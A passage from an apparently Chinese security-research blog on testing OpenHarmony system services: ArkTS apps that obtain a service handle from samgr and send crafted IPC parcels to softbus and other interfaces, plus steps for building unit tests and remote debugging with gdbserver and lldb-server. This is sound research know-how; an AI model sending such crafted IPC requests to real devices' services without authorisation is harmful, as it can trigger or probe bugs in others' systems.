class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">import rpc from &#x27;@ohos.rpc&#x27;</span><br><span class="line"></span><br><span class="line">@Entry</span><br><span class="line">@Component</span><br><span class="line">struct Index &#123;</span><br><span class="line">  @State message: string = &#x27;ipc Test&#x27;</span><br><span class="line">  @State result: string = &#x27;type to start&#x27;</span><br><span class="line">  @State button: string = &#x27;Start&#x27;</span><br><span class="line"></span><br><span class="line">  build() &#123;</span><br><span class="line">    Row() &#123;</span><br><span class="line">      Column() &#123;</span><br><span class="line">        Text(this.message)</span><br><span class="line">          .fontSize(40)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line"></span><br><span class="line">        Text(this.result)</span><br><span class="line">          .fontSize(20)</span><br><span class="line">          .fontColor(Color.Red)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line"></span><br><span class="line">        Button(this.button)</span><br><span class="line">          .fontSize(40)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line">          .onClick(() =&gt; &#123;</span><br><span class="line">            let proxy = rpc.IPCSkeleton.getContextObject();//初始化一个local register service的IRemoteObject</span><br><span class="line">            if (proxy == null) &#123;</span><br><span class="line">              this.result = &quot;connect error&quot;;</span><br><span class="line">              return</span><br><span class="line">            &#125;</span><br><span class="line">            let data = rpc.MessageParcel.create();</span><br><span class="line">            data.writeInterfaceToken(&quot;ohos.samgr.accessToken&quot;); //固定值，是samgr的interface token</span><br><span class="line">            data.writeInt(3503); //想往哪个service发IPC消息，设定这个值，一般这个值在对应服务的头文件里, 比如软总线就是 SOFTBUS_SERVER_SA_ID_INNER 4700</span><br><span class="line">            data.writeBoolean(false); //默认为false</span><br><span class="line">            let reply = rpc.MessageParcel.create();</span><br><span class="line">            let opt = new rpc.MessageOption();</span><br><span class="line">            proxy.sendRequestAsync(2, data, reply, opt) //首先发送CheckSystemAbility到samgr</span><br><span class="line">              .then(value =&gt; &#123;</span><br><span class="line">                if(value.errCode != 0)&#123;</span><br><span class="line">                  this.result = &quot;send request failed. errcode: &quot; + value.errCode</span><br><span class="line">                  return</span><br><span class="line">                &#125;</span><br><span class="line">                let atproxy = reply.readRemoteObject(); //若成功，返回的MessageParcel reply会包含目标服务的IRemoteObject</span><br><span class="line">                let atdata = rpc.MessageParcel.create();</span><br><span class="line">                let atreply = rpc.MessageParcel.create();</span><br><span class="line">                atdata.writeInterfaceToken(&quot;test&quot;); //构造目标服务想测试的interface的MessageParcel, 具体参考目标服务如何解析的数据</span><br><span class="line">                atdata.writeInt(0xdeadbeef);</span><br><span class="line">                atdata.writeString(&quot;test&quot;);</span><br><span class="line">                this.result = &quot;finish1&quot;</span><br><span class="line">                let atopt = new rpc.MessageOption();</span><br><span class="line">                atproxy.sendRequestAsync(0xff10, atdata, atreply, atopt).then(result =&gt; &#123; //发送测试数据给目标服务，SendRequest的第一个参数为目标服务的接口，</span><br><span class="line">                  //是一个enumerate，可以从目标服务目录的头文件里找到，</span><br><span class="line">                  //比如/home/user/Desktop/code-v3.2-Beta4/OpenHarmony/base/security/access_token/frameworks/accesstoken/include/i_accesstoken_manager.h</span><br><span class="line">                  //路径里的enum class InterfaceCode</span><br><span class="line">                  this.result = &quot;finish222&quot;</span><br><span class="line">                  if(result.errCode == 0)&#123;</span><br><span class="line">                    this.result = &quot;finish all&quot;</span><br><span class="line">                    return</span><br><span class="line">                  &#125;</span><br><span class="line">                &#125;)</span><br><span class="line">              &#125;).catch(function(e)&#123;</span><br><span class="line">              this.result = &quot;catch exception. error:&quot; + e;</span><br><span class="line">              return</span><br><span class="line">            &#125;);</span><br><span class="line">          &#125;)</span><br><span class="line">      &#125;</span><br><span class="line">      .width(&#x27;100%&#x27;)</span><br><span class="line">    &#125;</span><br><span class="line">    .width(&#x27;100%&#x27;)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上述示例实现了一个 ipc 消息发送操作.</p><blockquote><p>截止 2023&#x2F;1&#x2F;31, Openharmony的sdk里, <code>MessageParcel</code>接口不支持writeCString. 如果需要写入字符串, 可以考虑用 <code>writeInt</code> 替代, 因为写入字符串也是4字节对齐的, 而CString的方式相当于写Int.</p></blockquote><p>5.x版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">import &#123; Want, common &#125; from &#x27;@kit.AbilityKit&#x27;;</span><br><span class="line">import &#123; rpc &#125; from &#x27;@kit.IPCKit&#x27;;</span><br><span class="line">import &#123; hilog &#125; from &#x27;@kit.PerformanceAnalysisKit&#x27;;</span><br><span class="line"></span><br><span class="line">@Entry</span><br><span class="line">@Component</span><br><span class="line">struct Index &#123;</span><br><span class="line">  @State message: string = &#x27;PublishPNN Test&#x27;</span><br><span class="line">  @State result: string = &#x27;type to start&#x27;</span><br><span class="line">  @State button: string = &#x27;Start&#x27;</span><br><span class="line">  @State SOFTBUS_SERVER_SA_ID_INNER: number = 4700</span><br><span class="line"></span><br><span class="line">  build() &#123;</span><br><span class="line">    Row() &#123;</span><br><span class="line">      Column() &#123;</span><br><span class="line">        Text(this.message)</span><br><span class="line">          .fontSize(40)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line"></span><br><span class="line">        Text(this.result)</span><br><span class="line">          .fontSize(20)</span><br><span class="line">          .fontColor(Color.Red)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line"></span><br><span class="line">        Button(this.button)</span><br><span class="line">          .fontSize(40)</span><br><span class="line">          .fontWeight(FontWeight.Bold)</span><br><span class="line">          .onClick(() =&gt; &#123;</span><br><span class="line">            let proxy = rpc.IPCSkeleton.getContextObject();//初始化一个local register service的IRemoteObject</span><br><span class="line">            if (proxy == null) &#123;</span><br><span class="line">              this.result = &quot;connect error&quot;;</span><br><span class="line">              return</span><br><span class="line">            &#125;</span><br><span class="line">            let data = rpc.MessageSequence.create();</span><br><span class="line">            data.writeInterfaceToken(&quot;ohos.samgr.accessToken&quot;); //固定值，是samgr的interface token</span><br><span class="line">            data.writeInt(this.SOFTBUS_SERVER_SA_ID_INNER); //想往哪个service发IPC消息，设定这个值，一般这个值在对应服务的头文件里</span><br><span class="line">            data.writeBoolean(false); //默认为false</span><br><span class="line">            let reply = rpc.MessageSequence.create();</span><br><span class="line">            let opt = new rpc.MessageOption();</span><br><span class="line">            this.result = &quot;send getRemote data waiting...&quot;</span><br><span class="line">            proxy.sendMessageRequest(2, data, reply, opt) //首先发送CheckSystemAbility到samgr</span><br><span class="line">              .then(value =&gt; &#123;</span><br><span class="line">                this.result = &quot;send data finish&quot;</span><br><span class="line">                if (value.errCode != 0) &#123;</span><br><span class="line">                  this.result = &quot;send request failed. errcode: &quot; + value.errCode</span><br><span class="line">                  return</span><br><span class="line">                &#125;</span><br><span class="line">                let atproxy = reply.readRemoteObject(); //若成功，返回的MessageParcel reply会包含目标服务的IRemoteObject</span><br><span class="line">                let atdata = rpc.MessageSequence.create();</span><br><span class="line">                let atreply = rpc.MessageSequence.create();</span><br><span class="line">                let info = [0xcc, 0xcd, 0xce];</span><br><span class="line">                atdata.writeInterfaceToken(&quot;OHOS.ISoftBusServer&quot;); //构造目标服务想测试的interface的MessageParcel</span><br><span class="line">                atdata.writeByte(0x41); // pkgName</span><br><span class="line">                atdata.writeInt(4); // infoTypeLen</span><br><span class="line">                let atopt = new rpc.MessageOption();</span><br><span class="line">                this.result = &quot;send SERVER_PUBLISH_LNN data waiting...&quot;</span><br><span class="line">                atproxy.sendMessageRequest(155, atdata, atreply, atopt)</span><br><span class="line">                  .then((result: rpc.RequestResult) =&gt; &#123; // SERVER_PUBLISH_LNN</span><br><span class="line">                    this.result = &quot;send SERVER_PUBLISH_LNN data finish&quot;</span><br><span class="line">                    if (result.errCode == 0) &#123;</span><br><span class="line">                      this.result = &quot;finish all&quot;</span><br><span class="line">                      return</span><br><span class="line">                    &#125;</span><br><span class="line">                    this.result = &quot;send request failed. errcode: &quot; + result.errCode</span><br><span class="line">                  &#125;)</span><br><span class="line">                  .catch((e: Error) =&gt; &#123;</span><br><span class="line">                    hilog.error(0x0000, &#x27;testTag&#x27;, &#x27;sendMessageRequest got exception: &#x27; + e);</span><br><span class="line">                  &#125;)</span><br><span class="line">                  .finally(() =&gt; &#123;</span><br><span class="line">                    data.reclaim();</span><br><span class="line">                    reply.reclaim();</span><br><span class="line">                  &#125;)</span><br><span class="line">              &#125;)</span><br><span class="line">          &#125;)</span><br><span class="line">      &#125;</span><br><span class="line">      .width(&#x27;100%&#x27;)</span><br><span class="line">    &#125;</span><br><span class="line">    .width(&#x27;100%&#x27;)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="使用原始测试组件生成测试用例"><a href="#使用原始测试组件生成测试用例" class="headerlink" title="使用原始测试组件生成测试用例"></a>使用原始测试组件生成测试用例</h2><p>OpenHarmony自带google test, 如果要测试, 也可以通过修改自带的测试用例来实现我们的需求.</p><ol><li><p>在<code>OpenHarmony/foundation/communication/dsoftbus/tests/BUILD.gn</code>添加新的测试用例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">features += [</span><br><span class="line">  &quot;sdk/discovery/unittest:DiscSdkTest&quot;,// 这个默认就有</span><br><span class="line">  &quot;sdk/transmission/trans_channel:TransSdkTest&quot;,</span><br><span class="line">  &quot;adapter/unittest:AdapterTest&quot;,</span><br><span class="line">  &quot;sdk/bus_center/unittest:BusCenterSdkTest&quot;,// 如果我添加这个, 后面生成的命令就需要换成 ./build.sh --product-name rk3568 --build-target BusCenterSdkTest</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>测试用例所在目录的<code>build.gn</code>的解读:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">bus_center_sdk_test_src = [ &quot;bus_center_sdk_test.cpp&quot; ]// 源码文件之一</span><br><span class="line">...</span><br><span class="line">  ohos_unittest(&quot;BusCenterSdkTest&quot;) &#123;// 添加用例的名称</span><br><span class="line">    module_out_path = module_output_path</span><br><span class="line">    sources = bus_center_sdk_test_src// 涉及到的源码文件</span><br><span class="line">    include_dirs = bus_center_sdk_test_inc</span><br><span class="line">    include_dirs += [</span><br><span class="line">      &quot;unittest/common/&quot;,</span><br><span class="line">      &quot;//utils/native/base/include&quot;,</span><br><span class="line">    ]</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure></li><li><p>使用<code>./build.sh --product-name rk3568 --build-target DiscSdkTest --target-cpu arm64 --ccache </code>生成测试用例</p><p>生成位置<code>OpenHarmony/out/rk3568/tests/unittest/dsoftbus/discovery/DiscSdkTest</code>(此版本是stripped的版本, 但是有函数名称, 如果没有, 说明IDA版本过低)</p><blockquote><p>为了方便调试, 可以在<code>OpenHarmony/out/rk3568/exe.unstripped/tests/unittest/dsoftbus/discovery/DiscSdkTest </code>位置找到<code>not stripped</code>的版本.</p></blockquote></li></ol><h1 id="调试器调试"><a href="#调试器调试" class="headerlink" title="调试器调试"></a>调试器调试</h1><h2 id="64位系统的调试"><a href="#64位系统的调试" class="headerlink" title="64位系统的调试"></a>64位系统的调试</h2><p>在<a href="https://github.com/hugsy/gdb-static">gdb-static</a>下载gdbserver, 然后在ubuntu编译一个支持aarch64的gdb.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ apt-get install python-dev</span><br><span class="line">$ <span class="built_in">mkdir</span> build</span><br><span class="line">$ <span class="built_in">mkdir</span> out</span><br><span class="line">$ <span class="built_in">cd</span> build</span><br><span class="line">$ ../configure --build=x86_64-pc-linux-gnu -target=aarch64-linux-gnu --prefix=/home/vv/gdb-8.2.1/out --with-python</span><br><span class="line">$ make</span><br><span class="line">$ make install</span><br></pre></td></tr></table></figure><p>在机器上操作连接wifi网络, 使用gdbserver启动程序</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./gdbserver-8.3.1-aarch64-le 192.168.1.4:1234 ./BusCenterSdkTest</span><br></pre></td></tr></table></figure><p>在Ubuntu使用编译的gdb连接程序:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./aarch64-linux-gnu-gdb</span><br></pre></td></tr></table></figure><p>为了方便调试, 可以使用文末的gdb脚本.</p><h2 id="32位系统的调试-不建议-可以忽略此节"><a href="#32位系统的调试-不建议-可以忽略此节" class="headerlink" title="32位系统的调试(不建议, 可以忽略此节)"></a>32位系统的调试(不建议, 可以忽略此节)</h2><p>尝试过使用编译的gdb调试(参考<a href="https://ost.51cto.com/posts/16933">编译gdb</a>), 但是rk3568的32位版本的内核实现有点问题, 会在某些syscall调用中失败. 因此建议使用lldb调试. OpenHarmony SDK会带lldb调试器, <code>C:\Users\xx\AppData\Local\OpenHarmony\Sdk\9\native\llvm\lib\clang\12.0.1\bin\arm-linux-ohos\lldb-server</code>(它也有64位的)</p><p><a href="/otherfile/lldb-server.7z">点击此处下载</a></p><ol><li><p>获取<code>hdc_std</code>工具, 可以<a href="https://gitee.com/isrc_ohos/hdc-tool">网上下载</a>, 安装了SDK也会自带<code>C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\toolchains\hdc_std.exe</code>.</p></li><li><p>传递lldb</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&gt; .\hdc_std.exe list targets 查看设备</span><br><span class="line">7001005458323933328a268f9c7f3900</span><br><span class="line">&gt; .\hdc_std.exe file send D:\lldb-server /data 将本地文件传递到设备的/data目录</span><br><span class="line">FileTransfer finish, Size:xxx, File count = 1, time:16ms rate:1245.38kB/s</span><br><span class="line">&gt; .\hdc_std.exe shell 进入设备shell</span><br><span class="line"># cd /data 进入/data目录</span><br><span class="line"># mkdir test 新建目录便于测试</span><br><span class="line"># chmod +x ./lldb_server</span><br><span class="line"># ./lldb-server platform --listen &quot;*:1234&quot; --server 前提是设备的wifi有连接</span><br></pre></td></tr></table></figure></li><li><p>使用<code>C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\native\llvm\bin\lldb.exe</code>或者Ubuntu的lldb连接目标server</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&gt; .\lldb.exe --arch thumbv7</span><br><span class="line">(lldb) platform select remote-linux</span><br><span class="line">  Platform: remote-linux</span><br><span class="line"> Connected: no</span><br><span class="line">(lldb) platform connect connect://192.168.1.8:1234</span><br><span class="line">  Platform: remote-freebsd</span><br><span class="line">    Triple: arm-unknown-linux-unknown</span><br><span class="line">OS Version: 5.10.93 (5.10.93)</span><br><span class="line">  Hostname: localhost</span><br><span class="line"> Connected: yes</span><br><span class="line">WorkingDir: /</span><br><span class="line">    Kernel: #1 SMP Wed Dec 7 15:20:41 CST 2022</span><br><span class="line">(lldb) platform set -w /data/test 设置测试目录为我们刚创建的test目录</span><br><span class="line">(lldb) file ./DiscSdkTest 执行run的时候会将本地文件DiscSdkTest放置到目标目录</span><br><span class="line">(lldb) run 开始运行</span><br></pre></td></tr></table></figure><blockquote><p>目前32位的系统的lldb存在thumb识别问题, 调试会有很大问题.</p></blockquote></li></ol><h1 id="gdbinit-for-aarch64"><a href="#gdbinit-for-aarch64" class="headerlink" title="gdbinit for aarch64"></a>gdbinit for aarch64</h1><p>因为自带的gdb比较简单, 这里我生成一个gdbinit, 方便查看内存和寄存器, 以及单步. </p><p>使用时, 在~&#x2F;.gdbinit添加以下内容即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span 